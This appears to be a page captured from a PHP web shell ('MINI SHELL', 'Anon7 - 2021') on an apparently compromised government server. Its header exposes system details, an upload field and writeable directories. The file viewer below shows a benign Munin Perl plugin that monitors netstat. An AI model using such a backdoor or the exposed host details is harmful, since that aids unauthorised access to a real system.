MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/local/src/munin-1.2.6/node/node.d.aix/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/src/munin-1.2.6/node/node.d.aix/netstat.in
#!@@PERL@@
#
# Plugin to monitor network connections.
#
#   DESCRIPTION
#   ===========
#      This will measure the amount of network traffic coming into and
#      out of the server.  It will report back the number of connections
#      accepted, requested, established, and closed.  It uses
#      /usr/bin/netstat to gather it's information.
#      
#   RESTRICTION
#   ===========
#      None known.  /usr/bin/netstat should be executable by everyone by
#      default.
#
# $Log$
# Revision 1.4  2004/12/10 18:51:43  jimmyo
# linux/apt* has been forced to LANG=C, to get predictable output.
#
# Revision 1.3  2004/12/10 10:47:49  jimmyo
# Change name from ${scale} to ${graph_period}, to be more consistent.
#
# Revision 1.2  2004/12/09 22:12:55  jimmyo
# Added "graph_period" option, to make "graph_sums" usable.
#
# Revision 1.1  2004/01/02 18:50:00  jimmyo
# Renamed occurrances of lrrd -> munin
#
# Revision 1.1.1.1  2004/01/02 15:18:07  jimmyo
# Import of LRRD CVS tree after renaming to Munin
#
# Revision 1.2  2003/11/07 17:43:16  jimmyo
# Cleanups and log entries
#
#
#
# Parameters:
#
# 	config   (required)
# 	autoconf (optional - only used by munin-config)
#
# Magic markers (optional - used by munin-config and some installation
# scripts):
#%# family=contrib
#%# capabilities=autoconf

use strict;

if($ARGV[0] && $ARGV[0] eq "autoconf")
  {
    if(-e "/usr/bin/netstat" && -X "/usr/bin/netstat")
      {
        print "yes\n";
        exit 0;
      }
    else
      {
        print "no\n";
        exit 1;
      }
  }
  
if($ARGV[0] && $ARGV[0] eq "config")
  {
    print "graph_title Netstat\n";
    print "graph_args -l 0 --base 1000\n";
    print "graph_vlabel requests connections per \${graph_period}\n";
    print "requests.label requests\n";
    print "requests.type COUNTER\n";
    print "requests.max 50000\n";
    print "accepts.label accepts\n";
    print "accepts.type COUNTER\n";
    print "accepts.max 50000\n";
    print "established.label established\n";
    print "established.type COUNTER\n";
    print "established.max 50000\n";
    print "closed.label closed\n";
    print "closed.type COUNTER\n";
    print "closed.max 50000\n";
    exit 0;
  }
  
my(%toFind) = ("requests" => "connection requests",
               "accepts" => "connection accepts",
               "established" => "connections established",
               "closed" => "connections closed ("
              );
              
my($item,$line,@lineArray);

foreach $item (keys(%toFind))
  {
    $line = `/usr/bin/netstat -s|grep '$toFind{$item}'`;
    @lineArray = split(/ +/,$line);
    print "$item.value $lineArray[0]\n";
  }

Anon7 - 2021